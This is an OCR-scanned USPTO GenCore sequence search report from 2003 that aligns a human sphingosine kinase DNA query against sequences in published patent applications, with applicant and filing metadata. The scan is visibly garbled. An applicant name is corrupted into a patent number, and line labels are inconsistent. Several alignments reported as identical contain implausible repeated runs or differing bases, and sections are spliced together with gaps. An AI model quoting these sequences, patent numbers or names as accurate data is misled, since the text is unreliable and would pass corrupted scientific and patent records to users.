Db 245 SHMTVPEQDFLVLVLTALSHSLASEMFAAPMGRCEAGVMHLFYRAGVSRALLRLFLAM 304
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
OY 307 EKGHRMEYECQPYLVYVVAFAFLEPKDKGVFAVDGELMVS EAVQGVHPNYFMVMSGV 366
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
Db 305 QKGRHMLDCPYLVHVPVVAFAFLEPRSRQGVFSVDGELMVC EAVQGVHPNYLMVCGSR 364
    |||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:
OY 367 EPPPSWKPKQMPPEEP 383
    |||:|||||:|||||:|||||:|||||:|||||:|||||:
Db 365 DAPSGRDSRRGPPEEP 381
    |||:|||||:|||||:|||||:|||||:|||||:|||||:

```

Search completed: July 12, 2003, 18:07:30
 Job time : 46 secs

THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 16:04:37 ; Search time 273 Seconds

(without alignments)
9248,401 Million cell updates/sec

Title: US-09-784-810A-1_COPY_2_1600

Perfect score: 1599
Sequence: 1 cccccggggcctctatagc.....aataaagtcacattcccaa 1599

Scoring table: OLIGO_NUC
Gapop 60.0 , Gapext 60.0

Searched: 1105431 seqs, 789497651 residues

Word size: 0

Total number of hits satisfying chosen parameters: 2210862

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: Listing first 45 summaries

Database:

Published_Applications_NA:*
1: /cgn2_6/ptodata/1/pubpna/US07_NEM_PUB.seq:*
2: /cgn2_6/ptodata/1/pubpna/PCIT_NEM_PUB.seq:*
3: /cgn2_6/ptodata/1/pubpna/US06_NEM_PUB.seq:*
4: /cgn2_6/ptodata/1/pubpna/US06_PUBCOMB.seq:*
5: /cgn2_6/ptodata/1/pubpna/PCITUS_PUBCOMB.seq:*
6: /cgn2_6/ptodata/1/pubpna/US07_NEM_PUB.seq:*
7: /cgn2_6/ptodata/1/pubpna/US08_NEM_PUB.seq:*
8: /cgn2_6/ptodata/1/pubpna/US08_PUBCOMB.seq:*
9: /cgn2_6/ptodata/1/pubpna/US09_NEM_PUB.seq:*
10: /cgn2_6/ptodata/1/pubpna/US09_PUBCOMB.seq:*
11: /cgn2_6/ptodata/1/pubpna/US10_NEM_PUB.seq:*
12: /cgn2_6/ptodata/1/pubpna/US10_PUBCOMB.seq:*
13: /cgn2_6/ptodata/1/pubpna/US60_NEM_PUB.seq:*
14: /cgn2_6/ptodata/1/pubpna/US60_PUBCOMB.seq:*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length DB	ID	Description
1	1599	100.0	1600	10 US-09-784-810A-1	Sequence 1, Appl1
2	624	39.0	1533	9 US-10-023-282-90	Sequence 90, Appl1
3	433	27.1	1155	10 US-09-970-516-1	Sequence 1, Appl1
4	192	12.0	296	9 US-10-015-219-658	Sequence 658, App
5	192	12.0	296	10 US-09-777-564-658	Sequence 658, App
6	191	11.9	394	10 US-09-954-456-1756	Sequence 1756, Ap
7	175	10.9	199	9 US-09-796-692-2905	Sequence 2905, Ap
8	175	10.9	199	9 US-10-040-862-2905	Sequence 2905, Ap
9	49	3.1	480	10 US-09-783-590-9248	Sequence 9248, Ap
10	30	1.9	30	10 US-09-796-487-17	Sequence 17, Appl
11	25	1.6	1149	10 US-09-970-516-5	Sequence 5, Appl1
12	25	1.6	1759	10 US-09-784-810A-3	Sequence 3, Appl1
13	22	1.4	459	9 US-09-918-995-26954	Sequence 26954, A
14	21	1.3	27	10 US-09-796-487-16	Sequence 16, Appl
15	20	1.3	20	10 US-09-796-487-15	Sequence 15, Appl
16	19	1.2	537	9 US-09-918-995-25081	Sequence 25081, A
17	19	1.2	546	9 US-10-136-761-6084	Sequence 6084, Ap
18	19	1.2	592	10 US-09-864-761-6833	Sequence 6833, Ap
19	19	1.2	1133	9 US-10-282-048-1	Sequence 1, Appl1

20	19	1.2	1515	9 US-10-238-709-1	Sequence 1, Appl1
21	19	1.2	1515	10 US-09-804-471A-1	Sequence 1, Appl1
22	19	1.2	1942	10 US-09-764-877-3173	Sequence 3173, Ap
23	19	1.2	4285	10 US-09-759-622-1	Sequence 1, Appl1
24	19	1.2	5877	12 US-10-028-946-3	Sequence 3, Appl1
25	19	1.2	6159	9 US-10-017-216-3	Sequence 1, Appl1
26	19	1.2	6165	12 US-10-028-946-1	Sequence 1, Appl1
27	19	1.2	6574	9 US-10-017-216-1	Sequence 1, Appl1
28	19	1.2	48763	9 US-10-282-048-3	Sequence 3, Appl1
29	19	1.2	142299	9 US-09-911-077A-14	Sequence 14, Appl
30	19	1.2	174493	9 US-10-238-709-3	Sequence 3, Appl1
31	19	1.2	174493	10 US-09-804-471A-3	Sequence 1, Appl1
32	19	1.2	9025608	9 US-10-156-761-1	Sequence 1, Appl1
33	18	1.1	153	10 US-09-864-761-18007	Sequence 18007, A
34	18	1.1	375	10 US-09-867-701-1219	Sequence 4219, Ap
35	18	1.1	379	9 US-09-918-995-37471	Sequence 37471, A
36	18	1.1	391	10 US-09-783-590-9674	Sequence 9674, Ap
37	18	1.1	394	9 US-09-918-995-37665	Sequence 37665, A
38	18	1.1	433	10 US-09-969-347-26	Sequence 26, Appl
39	18	1.1	435	9 US-09-764-891-7542	Sequence 7542, Ap
40	18	1.1	444	10 US-09-864-761-1526	Sequence 1526, Ap
41	18	1.1	495	10 US-09-864-761-1246	Sequence 1246, Ap
42	18	1.1	517	9 US-09-764-891-6730	Sequence 6730, Ap
43	18	1.1	517	9 US-09-764-891-6732	Sequence 6732, Ap
44	18	1.1	556	10 US-09-864-761-7828	Sequence 7828, Ap
45	18	1.1	585	10 US-09-864-761-8140	Sequence 8140, Ap

ALIGNMENTS

RESULT 1	US-09-784-810A-1
Sequence 1, Application US/09784810A	
Patent No. US2002082203A1	
GENERAL INFORMATION:	
APPLICANT: RASTELLI, LUCA	
TITLE OF INVENTION: NOVEL SPHINGOSINE KINASES AND NUCLEIC ACIDS ENCODING	
TITLE OF INVENTION: SAME	
FILE REFERENCE: 10716-08	
CURRENT APPLICATION NUMBER: US/09/784,810A	
CURRENT FILING DATE: 2001-02-14	
PRIOR APPLICATION NUMBER: 60/182,360	
PRIOR FILING DATE: 2000-02-14	
PRIOR APPLICATION NUMBER: 60/191,261	
PRIOR FILING DATE: 2000-03-22	
NUMBER OF SEQ ID NOS: 29	
SOFTWARE: PatentIn Ver. 2.1	
SEQ ID NO 1	
LENGTH: 1600	
TYPE: DNA	
ORGANISM: Homo sapiens	
FEATURE:	
NAME/KEY: modified_base	
LOCATION: (1)	
OTHER INFORMATION: a, t, c, g, other or unknown	
US-09-784-810A-1	
Query Match	100.0%; Score 1599; DB 10; Length 1600;
Best Local Similarity	100.0%; Pred. No. 0;
Matches 1599; Conservative	0; Mismatches 0; Indels 0; Gaps 0;
QY	1 CCCCCGGGCTCCATAGCCAGCGCTCCGGGGGGAAGCGACCCACAGCGGGCC 60
DB	2 CCCCCGGGCTCCATAGCCAGCGCTCCGGGGGGAAGCGACCCACAGCGGGCC 61
QY	61 TCGCAGCGCCCTGCGCAGCAGCATTAAGAGCTGAGGAGGAGCGCCGCCAGCGGC 120
DB	62 TCGCAGCGCCCTGCGCAGCAGCATTAAGAGCTGAGGAGGAGCGCCGCCAGCGGC 121
QY	121 AGCGCCCGCCAGCGCCAGGAGCCCTGCGCAGCGCGGCTGAGGTTATGAT 180
DB	122 AGCGCCCGCCAGCGCCAGGAGCCCTGCGCAGCGCGGCTGAGGTTATGAT 181

QY	181	CCAGCGGCGGCCCCCGGGGCGTGTCTCCCGGCGCTTGCCTGTGTGTGTAAAC	240
Db	182	CCAGCGGCGGCCCCCGGGGCGTGTCTCCCGGCGCTTGCCTGTGTGTGTAAAC	241
QY	241	CCCGCGGGGCGCAAGGGCGAGGCGCTTGCACCTCTTCGCGAGTACAGGCGACGCCCTTTTG	300
Db	242	CCCGCGGGGCGCAAGGGCGAGGCGCTTGCACCTCTTCGCGAGTACAGGCGACGCCCTTTTG	301
QY	301	GCTGAGGCTGAAATCTCTTACGCTGATGCTCCTGAGCGCGGAACACGCGCGGAG	360
Db	302	GCTGAGGCTGAAATCTCTTACGCTGATGCTCCTGAGCGCGGAACACGCGCGGAG	361
QY	361	CTGGTCCGCGTGGAGAGGCTGGGCGCGCTGGGAGCGCTGTGGTTCATGCTGTGAAGACGG	420
Db	362	CTGGTCCGCGTGGAGAGGCTGGGCGCGCTGGGAGCGCTGTGGTTCATGCTGTGAAGACGG	421
QY	421	CTGATGCACGAGGTGTGAACGGGCTCATGAGACGGGCTGACTGAGGAGACCCGCAATCCAG	480
Db	422	CTGATGCACGAGGTGTGAACGGGCTCATGAGACGGGCTGACTGAGGAGACCCGCAATCCAG	481
QY	481	AAGCCCCCTGTGATGAGCTTCCAGAGGCTCTGGGAAAGCGCTGGCACTTCTTGAACAT	540
Db	482	AAGCCCCCTGTGATGAGCTTCCAGAGGCTCTGGGAAAGCGCTGGCACTTCTTGAACAT	541
QY	541	TATGCTGAGTATGACAGGTCAACCAATGAAGACCTCTACCAACTGCAAGGATATGAG	600
Db	542	TATGCTGAGTATGACAGGTCAACCAATGAAGACCTCTACCAACTGCAAGGATATGAG	601
QY	601	TGCGCGCGGCTGTCTCAACCCATGAACCTGTGTCTCTGACACAGGCTTCGGGGCGCGC	660
Db	602	TGCGCGCGGCTGTCTCAACCCATGAACCTGTGTCTCTGACACAGGCTTCGGGGCGCGC	661
QY	661	TGCTTCTCTGTCTCAAGCTTGCGCTGGGGCTTCATTTGGATGTGACCTAAGATGAT	720
Db	662	TGCTTCTCTGTCTCAAGCTTGCGCTGGGGCTTCATTTGGATGTGACCTAAGATGAT	721
QY	721	AGATTCGCGCTGTGGGGAGATGCGCTTCACTCTGGGCACTTCTCGTGTGGCAGCC	780
Db	722	AGATTCGCGCTGTGGGGAGATGCGCTTCACTCTGGGCACTTCTCGTGTGGCAGCC	781
QY	781	CTGGGCACTTACCGGGGCGAGTGTGCTACCTCCCTGTAGAGAAAGTGGGTTTCAAAGACA	840
Db	782	CTGGGCACTTACCGGGGCGAGTGTGCTACCTCCCTGTAGAGAAAGTGGGTTTCAAAGACA	841
QY	841	CTGTCTTCCCGGTTGTGGTCCAGACAGGGCCGGTATGATGACACCTGGTGCACATGGAG	900
Db	842	CTGTCTTCCCGGTTGTGGTCCAGACAGGGCCGGTATGATGACACCTGGTGCACATGGAG	901
QY	901	GAGCAGGTGCTTCTTCACTGTGAGTGTGCCGACGAGAGACTTGTGTCTATGCTGTGCA	960
Db	902	GAGCAGGTGCTTCTTCACTGTGAGTGTGCCGACGAGAGACTTGTGTCTATGCTGTGCA	961
QY	961	CTGCTGCACCTGCACACTGCGCCAGTATGAGATTTGTGTGACCCATAGGGCGCGTGTGACCT	1020
Db	962	CTGCTGCACCTGCACACTGCGCCAGTATGAGATTTGTGTGACCCATAGGGCGCGTGTGACCT	1021
QY	1021	GCGCTCATGATCTGTTTCTAGCTGGCGGCGGAGTGTCTGATGACATCTGCTGGCGCTC	1080
Db	1022	GCGCTCATGATCTGTTTCTAGCTGGCGGCGGAGTGTCTGATGACATCTGCTGGCGCTC	1081
QY	1081	TTCTGCGCATGAGAGAGGCGACGCAATATGAGATGAAATCCCTACTTGGATATATGTG	1140
Db	1082	TTCTGCGCATGAGAGAGGCGACGCAATATGAGATGAAATCCCTACTTGGATATATGTG	1141
QY	1141	CCCGGTGTGCTTCCGTTGAGCGCCAAAGATGGGAAAGGTGTGTCAGTGGATGAGG	1200
Db	1142	CCCGGTGTGCTTCCGTTGAGCGCCAAAGATGGGAAAGGTGTGTCAGTGGATGAGG	1201
QY	1201	GAATTTGATGTTTACGAGGCGCTGACAGGCGCAGGTGACCCCAACTACTTCTGGATGCTC	1260
Db	1202	GAATTTGATGTTTACGAGGCGCTGACAGGCGCAGGTGACCCCAACTACTTCTGGATGCTC	1261

Qy	1261	AGCGGTTGCGTGGACCCCCCGCCAGCGTGGAAAGCCCGACAGATGCCACCCCGAGAAAG	1320
Db	1262	AGCGTTGCTGAGACCCCCCGCCAGCGTGGAAAGCCCGACAGATGCCACCCCGAGAAAG	1321
Qy	1321	CCCTTATGACCCCTGGGCGGCGTGTGCTTATGTCTACTTGTGAGACCCCTTCTCTCT	1380
Db	1322	CCCTTATGACCCCTTGGGCGGCGTGTGCTTATGTCTACTTGTGAGACCCCTTCTCTCT	1381
Qy	1381	CCCTAGGGCTGAGGGCCCTGTCCACAGTCTCTGTGGGGGTGGAGAGACTCTTGAGAGA	1440
Db	1382	CCCTAGGGCTGAGGGCCCTGTCCACAGTCTCTGTGGGGGTGGAGAGACTCTTGAGAGA	1441
Qy	1441	AGGGTGAAGAGTGGAGGCTATGCTTTGGGGGAGAGCCAGATGTGAATGCTGTGGTCAG	1500
Db	1442	AGGGTGAAGAGTGGAGGCTATGCTTTGGGGGAGAGCCAGATGTGAATGCTGTGGTCAG	1501
Qy	1501	GAGCCACACTGGCTGGGCGCCAGCTGCTATGTAAAGCCCTTCTAGTTGTTGAGACCC	1560
Db	1502	GAGCCACACTGGCTGGGCGCCAGCTGCTATGTAAAGCCCTTCTAGTTGTTGAGACCC	1561
Qy	1561	CACCCACAGAACCAATTCAAATTAAGTGAATCCCA	1599
Db	1562	CACCCACAGAACCAATTCAAATTAAGTGAATCCCA	1600
RESULT 2			
	US-10-023-282-90		
	; Sequence 90, Application US/10023282		
	; Publication No. US2003092893A1		
	; GENERAL INFORMATION:		
	; APPLICANT: Young et al.		
	; TITLE OF INVENTION: 207 Human Secreted Proteins		
	; FILE REFERENCE: P2007P1		
	; CURRENT APPLICATION NUMBER: US/10/023,282		
	; CURRENT FILING DATE: 2001-12-20		
	; EARLIER APPLICATION NUMBER: 09/205,258		
	; EARLIER FILING DATE: 1998-12-04		
	; EARLIER APPLICATION NUMBER: PCT/US98/11422		
	; EARLIER FILING DATE: 1998-06-04		
	; EARLIER APPLICATION NUMBER: 60/048,885		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/049,375		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,881		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,880		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,896		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/049,020		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,876		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,895		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,884		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,894		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,971		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,964		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,882		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,899		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,893		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,900		
	; EARLIER FILING DATE: 1997-06-06		
	; EARLIER APPLICATION NUMBER: 60/048,901		
	; EARLIER FILING DATE: 1997-06-06		

EARLIER APPLICATION NUMBER: 60/048, 892
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 915
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049, 019
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 970
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 972
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 916
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049, 373
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 875
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049, 374
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 917
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 949
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 974
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 883
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 897
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 898
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 962
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 963
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 877
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048, 878
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/070, 923
EARLIER FILING DATE: 1997-12-18
EARLIER APPLICATION NUMBER: 60/092, 921
EARLIER FILING DATE: 1998-07-15
EARLIER APPLICATION NUMBER: 60/094, 657
EARLIER FILING DATE: 1998-07-30
NUMBER OF SEQ ID NOS: 1227
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 90
LENGTH: 1533
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: SITE
LOCATION: (12)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (123)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (1522)
OTHER INFORMATION: n equals a,t,g, or c
FEATURE:
NAME/KEY: SITE
LOCATION: (1527)
OTHER INFORMATION: n equals a,t,g, or c
US-10-023-282-90
Query Match 39.0%; Score 624; DB 9; Length 1533;
Best Local Similarity 99.98%; Pred. No. 0;
Matches 674; Conservative 0; Mismatches 1; Indels 0; Gaps 0;
QY 925 GTGGTCCGACGAGAGACTTGTGCTAGTCCGTGACACTGTGACACTGCACCTGGCCAGT 984

|||||
824 GTGGTCCGACGAGAGACTTGTGCTAGTCCGTGACACTGTGACACTGCACCTGGCCAGT 883
QY 985 GAGATGTTGCTGACACCATGGGCGCTGTGCAGCTGCGCTATGATCATCTTTACGTG 1044
Db 884 GAGATGTTGCTGACACCATGGGCGCTGTGCAGCTGCGCTATGATCATCTTTACGTG 943
QY 1045 CGGGCGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1104
Db 944 CGGGCGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1003
QY 1105 CATATGAGTATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1164
Db 1004 CATATGAGTATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1063
QY 1165 CCCAAGATGGGAAAGTGTGTTGACATGATGGGAATGATGATGATGATGATGATGATG 1224
Db 1064 CCCAAGATGGGAAAGTGTGTTGACATGATGGGAATGATGATGATGATGATGATGATG 1123
QY 1225 CAGGCGCAGTGCACACCAACTACTTCTGATGATGATGATGATGATGATGATGATG 1284
Db 1124 CAGGCGCAGTGCACACCAACTACTTCTGATGATGATGATGATGATGATGATGATG 1183
QY 1285 AGCTGAAGCCCGACAGATGCGACCGCGCAGAGCCCTTATGACCCCTGGCGCGCT 1344
Db 1184 AGCTGAAGCCCGACAGATGCGACCGCGCAGAGCCCTTATGACCCCTGGCGCGCT 1243
QY 1345 GTGCTTAGTGTCTTACCTTCCCTTCCCTTCCCTTCCCTTCCCTTCCCTTCCCTTCC 1404
Db 1244 GTGCTTAGTGTCTTACCTTCCCTTCCCTTCCCTTCCCTTCCCTTCCCTTCCCTTCC 1303
QY 1405 CAGTCTGTGTGGGTGGAGAGACTCTCTGAGAGAGAGAGAGAGAGAGAGAGAGAGAG 1464
Db 1304 CAGTCTGTGTGGGTGGAGAGACTCTCTGAGAGAGAGAGAGAGAGAGAGAGAGAGAG 1363
QY 1465 TTGGGGGAGAGCCAGCAATGAGTCTGGGTGAGAGAGAGAGAGAGAGAGAGAGAGAG 1524
Db 1364 TTGGGGGAGAGCCAGCAATGAGTCTGGGTGAGAGAGAGAGAGAGAGAGAGAGAGAG 1423
QY 1525 GCTATGTAGGCTTTAGTTGTTGAGACCCCGACCCCGACCCCGACCCCGACCCG 1584
Db 1424 GCTATGTAGGCTTTAGTTGTTGAGACCCCGACCCCGACCCCGACCCCGACCCG 1483
QY 1585 AAGTACATTCACCA 1599
Db 1484 AAGTACATTCACCA 1498
RESULT 3
US-09-970-516-1
; Sequence 1, Application US/09970516
; Patent No. US20020099029A1
; GENERAL INFORMATION:
; APPLICANT: No. US20020099029A1artis AG
; TITLE OF INVENTION: Induction of blood vessel formation through administration of
; FILE REFERENCE: 4-31617
; CURRENT APPLICATION NUMBER: US/09/970, 516
; NUMBER OF SEQ ID NOS: 6
; SOFTWARE: PatentIn version 3.1
; SEQ ID NO 1
LENGTH: 1155
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: CDS
LOCATION: (1) .. (1155)
OTHER INFORMATION:
US-09-970-516-1
Query Match 27.1%; Score 433; DB 10; Length 1155;
Best Local Similarity 100.0%; Pred. No. 1.2e-215;


```

; PRIOR FILING DATE: 2000-09-26
; PRIOR APPLICATION NUMBER: US/60/235,711
; PRIOR FILING DATE: 2000-09-27
; PRIOR APPLICATION NUMBER: US/60/235,720
; PRIOR FILING DATE: 2000-09-27
; PRIOR APPLICATION NUMBER: US/60/235,840
; PRIOR FILING DATE: 2000-09-27
; PRIOR APPLICATION NUMBER: US/60/235,863
; PRIOR FILING DATE: 2000-09-27
; NUMBER OF SEQ ID NOS: 2276
; SOFTWARE: PatentIn version 3.0
; SEQ ID NO: 1756
; LENGTH: 394
; TYPE: DNA
; ORGANISM: Homo sapiens
US-09-954-456-1756

Query Match          11.9%; Score 191; DB 10; Length 394;
Best Local Similarity 99.3%; Pred. No. 2.4e-89;
Matches 291; Conservative 0; Mismatches 2; Indels 0; Gaps 0;

QY 1210 GTTAGCGAGCCGTGACAGGCGCCAGTGCACCAAACTACTTGTGAGGTGACGGTTGC 1269
    |||||||
DB 394 GTTAGCGAGCCGTGACAGGCGCCAGTGCACCAAACTACTTGTGAGGTGACGGTTGC 335
    |||||||
QY 1270 GTGAGAGCCCGCCAGCTGAGAGCCCGCAGAGATGCCACCGCCAGAGAGCCCTATGA 1329
    |||||||
DB 334 GTGAGAGCCCGCCAGCTGAGAGCCCGCAGAGATGCCACCGCCAGAGAGCCCTATGA 275
    |||||||
QY 1330 CCCCTGGGCGCGCTGTGCTTGTACTTGTGAGAGCCCTTCTCTCCCTAGAGGC 1389
    |||||||
DB 274 CCCCTGGGCGCGCTGTGCTTGTACTTGTGAGAGCCCTTCTCTCCCTAGAGGC 215
    |||||||
QY 1390 TGCAGGGCTTCCACACACTCTGTGGGGGTGAGAGACTCTCTTGAGAGAGGTGAGA 1449
    |||||||
DB 214 TGCAGGGCTTCCACACACTCTGTGGGGGTGAGAGACTCTCTTGAGAGAGGTGAGA 155
    |||||||
QY 1450 AGGTGAGAGCTATGCTTTGGGGGGGACAGCCAGATGAATGCTGAGTACAGGA 1502
    |||||||
DB 154 AGGTGAGAGCTATGCTTTGGGGGGGACAGCCAGATGAATGCTGAGTACAGGA 102
    |||||||

RESULT 7
US-09-796-692-2905
; Sequence 2905, Application US/09796692
; Publication No. US20020198362A1
; GENERAL INFORMATION:
; APPLICANT: Gaiger, Alexander
; APPLICANT: Algate, Paul A.
; APPLICANT: Mannion, Jane
; TITLE OF INVENTION: COMPOSITIONS AND METHODS FOR THE DETECTION, DIAGNOSIS AND THERAPY
; FILE REFERENCE: 2077,001200
; CURRENT FILING DATE: US/09/796,692
; PRIOR APPLICATION NUMBER: 60/186,126
; PRIOR FILING DATE: 2000-03-01
; PRIOR APPLICATION NUMBER: 60/190,479
; PRIOR FILING DATE: 2000-03-17
; PRIOR APPLICATION NUMBER: 60/200,545
; PRIOR FILING DATE: 2000-04-27
; PRIOR APPLICATION NUMBER: 60/200,303
; PRIOR FILING DATE: 2000-04-28
; PRIOR APPLICATION NUMBER: 60/200,779
; PRIOR FILING DATE: 2000-04-28
; PRIOR APPLICATION NUMBER: 60/200,999
; PRIOR FILING DATE: 2000-05-01
; PRIOR APPLICATION NUMBER: 60/202,084
; PRIOR FILING DATE: 2000-05-04
; PRIOR APPLICATION NUMBER: 60/206,201
; PRIOR FILING DATE: 2000-05-22
; PRIOR APPLICATION NUMBER: 60/218,950
; PRIOR FILING DATE: 2000-07-14
```

```

; PRIOR APPLICATION NUMBER: 60/222,903
; PRIOR FILING DATE: 2000-08-03
; PRIOR APPLICATION NUMBER: 60/223,416
; PRIOR FILING DATE: 2000-08-04
; PRIOR APPLICATION NUMBER: 60/223,378
; PRIOR FILING DATE: 2000-08-07
; NUMBER OF SEQ ID NOS: 9597
; SOFTWARE: FastSeq for Windows version 3.0
; SEQ ID NO: 2905
; LENGTH: 199
; TYPE: DNA
; ORGANISM: Homo sapiens
US-09-796-692-2905

Query Match          10.9%; Score 175; DB 9; Length 199;
Best Local Similarity 100.0%; Pred. No. 5.8e-81;
Matches 175; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 1088 CCATGAGAGAGGCGAGCATATGAGTGAATGCCCTACTGTGATATGCCCCGTGG 1147
    |||||||
DB 1 CCATGAGAGAGGCGAGCATATGAGTGAATGCCCCCTACTGTGATATGCCCCGTGG 60
    |||||||
QY 1148 TCGCTTCCGTTGGAGCCCAAGAGTGGAAAGTGTGTTGCACTGATGGAGATTGA 1207
    |||||||
DB 61 TCGCTTCCGTTGGAGCCCAAGAGTGGAAAGTGTGTTGCACTGATGGAGATTGA 120
    |||||||
QY 1208 TGTGAGCGAGCGCGTGCAGGCGCAGTGCACCCAACTACTTCTGTGATGTCAG 1262
    |||||||
DB 121 TGTGAGCGAGCGCGTGCAGGCGCAGTGCACCCAACTACTTCTGTGATGTCAG 175
    |||||||

RESULT 8
US-10-040-862-2905
; Sequence 2905, Application US/10040862
; Publication No. US20030078396A1
; GENERAL INFORMATION:
; APPLICANT: Gaiger, Alexander
; APPLICANT: Algate, Paul A.
; APPLICANT: Mannion, Jane
; APPLICANT: Retter, Marc
; APPLICANT: Corixa Corporation
; TITLE OF INVENTION: Compositions and Methods for the Detection, Diagnosis and Ther
; FILE REFERENCE: 014058-013520US
; CURRENT FILING DATE: US/10/040,862
; PRIOR APPLICATION NUMBER: 2001-11-06
; PRIOR FILING DATE: 2000-03-01
; PRIOR APPLICATION NUMBER: US 60/190,479
; PRIOR FILING DATE: 2000-03-17
; PRIOR APPLICATION NUMBER: US 60/200,545
; PRIOR FILING DATE: 2000-04-27
; PRIOR APPLICATION NUMBER: US 60/200,303
; PRIOR FILING DATE: 2000-04-28
; PRIOR APPLICATION NUMBER: US 60/200,779
; PRIOR FILING DATE: 2000-04-28
; PRIOR APPLICATION NUMBER: US 60/200,999
; PRIOR FILING DATE: 2000-05-01
; PRIOR APPLICATION NUMBER: US 60/202,084
; PRIOR FILING DATE: 2000-05-04
; PRIOR APPLICATION NUMBER: US 60/206,201
; PRIOR FILING DATE: 2000-05-22
; PRIOR APPLICATION NUMBER: US 60/218,950
; PRIOR FILING DATE: 2000-07-14
; PRIOR APPLICATION NUMBER: US 60/222,903
; PRIOR FILING DATE: 2000-08-03
; PRIOR APPLICATION NUMBER: US 60/223,416
; PRIOR FILING DATE: 2000-08-04
; PRIOR APPLICATION NUMBER: US 60/223,378
; PRIOR FILING DATE: 2000-08-07
; PRIOR APPLICATION NUMBER: US 60/223,903
; PRIOR FILING DATE: 2000-08-07
; PRIOR APPLICATION NUMBER: US 09/796,692
; PRIOR FILING DATE: 2001-03-01
; NUMBER OF SEQ ID NOS: 10467
```


OTHER INFORMATION: -GSP5 in line 5-6, page 8.
US-09-796-487-17

Query Match 1.9%; Score 30; DB 10; Length 30;
Best Local Similarity 100.0%; Pred. No. 3.1e-05;
Matches 30; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 1300 CAGATGCCACGCCAGAGAGCCCTTATGA 1329
|||||
DB 30 CAGATGCCACGCCAGAGAGCCCTTATGA 1

RESULT 11
US-09-970-516-5

Sequence 5, Application US/09970516
Patent No. US20020099029A1
GENERAL INFORMATION:
APPLICANT: NO. US20020099029A1artis AG
TITLE OF INVENTION: Induction of blood vessel formation through administration of
FILE REFERENCE: 4-31617
CURRENT APPLICATION NUMBER: US/09/970,516
CURRENT FILING DATE: 2001-10-04
NUMBER OF SEQ ID NOS: 6
SOFTWARE: PatentIn version 3.1
SEQ ID NO 5
LENGTH: 1149
TYPE: DNA
ORGANISM: Mus musculus
FEATURE:
NAME/KEY: CDS
LOCATION: (1)..(1149)
OTHER INFORMATION:
US-09-970-516-5

Query Match 1.6%; Score 25; DB 10; Length 1149;
Best Local Similarity 100.0%; Pred. No. 0.0088;
Matches 25; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 1068 GCTGCTGGCCTCTTCTGCGCATG 1092
|||||
